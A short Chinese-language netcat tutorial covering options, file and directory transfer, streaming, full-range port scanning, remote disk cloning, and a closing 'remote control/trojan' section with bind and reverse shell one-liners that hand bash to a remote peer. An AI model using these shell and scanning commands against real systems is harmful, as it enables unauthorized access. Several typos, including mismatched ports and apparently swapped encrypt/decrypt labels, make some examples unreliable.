nc工具详解
nc 安装
yum install -y nc
参数:
1 Command Summary: 2 -4 Use IPv4 3 -6 Use IPv6 4 -D Enable the debug socket option 5 -d Detach from stdin #无图形界面使用后台模式 6 -h This help text #获取帮助信息 7 -i secs Delay interval for lines sent, ports scanned #延时设置,端口扫描时使用 8 -k Keep inbound sockets open for multiple connects 9 -l Listen mode, for inbound connects #监听入站信息 10 -n Suppress name/port resolutions #后跟ip地址 11 -p port Specify local port for remote connects 12 -r Randomize remote ports 13 -S Enable the TCP MD5 signature option 14 -s addr Local source address #发送数据源地址 15 -T ToS Set IP Type of Service 16 -C Send CRLF as line-ending 17 -t Answer TELNET negotiation #以TELNET的形式应答入站请求 18 -U Use UNIX domain socket 19 -u UDP mode #使用UDP协议 20 -v Verbose #显示详细的输出内容 21 -w secs Timeout for connects and final net reads #超时秒数 22 -X proto Proxy protocol: "4", "5" (SOCKS) or "connect" 23 -x addr[:port] Specify proxy address and port 24 -z Zero-I/O mode [used for scanning] # I/O 模式,扫描时使用
nc作为客户端:
1 nc -nvz 10.104.11.107 1-65535 默认探测TCP端口 2 nc -nvzu 10.104.11.107 1-65535 #探测UDP端口
作用:
传输文本信息
1 nc -l 9999 #客户端开启一个端口 2 netstat -pantu |grep 9999 #查看33端口是否打开 3 nc -l 9999 >ps.txt 监听到的信息输出到pa.txt
进行连接:
1 nc -nvv 10.104.11.128 9999 2 ls -l |nc -nv 10.104.11.128 9999 输出信息打印到10.104.11.128主机
传输文件
1 A: nc -l 999>1.html 2 B: nc -nv 10.104.11.128 9999<1.html
或者
1 A:nc -l 9999<ps.txt 2 B: nc -nv 10.104.11.128 9999 >ps.txt
传输目录(先打包)
1 A:tar -cvf - music/|nc -l 9999 2 B:nc -nv 10.104.11.128 9999|tar -xvf -
加密传输文件(先加密在传送再解密)
1 A:nc -l 333|mcrypt --flush -Fbqd(加密) -a rijndael-256 -m ecb >1.mp3 2 B:mcrypt --flush -Fbq(解密) -a rijndael-256 -m ecb <1.mp3 |nc -nv 10.104.11.128 9999
#对称加密两边密码要相同
流媒体服务
1 A: cat 1.mp3|nc -l 9999 2 B: nc -nv 10.104.11.107|mplayer -vo xll -cache 3000- #指定媒体播放器进行播放
端口扫描
1 nc -nvz 10.104.11.128
远程克隆硬盘
1 A:nc -l 9999|dd of =/dev/sda 2 B:dd if=/dev/sda |nc -nv 10.104.11.128 9999
远程控制/木马
1 正向: 2 A:nc -l 9999 -c bash 3 B:nc 10.104.11.128 4 反向: 5 A:nc -l 9999 6 B:nc 10.104.11.128 9999 -c bash
注:Windows用户把bash改成cmd
缺点:缺乏加密与身份认证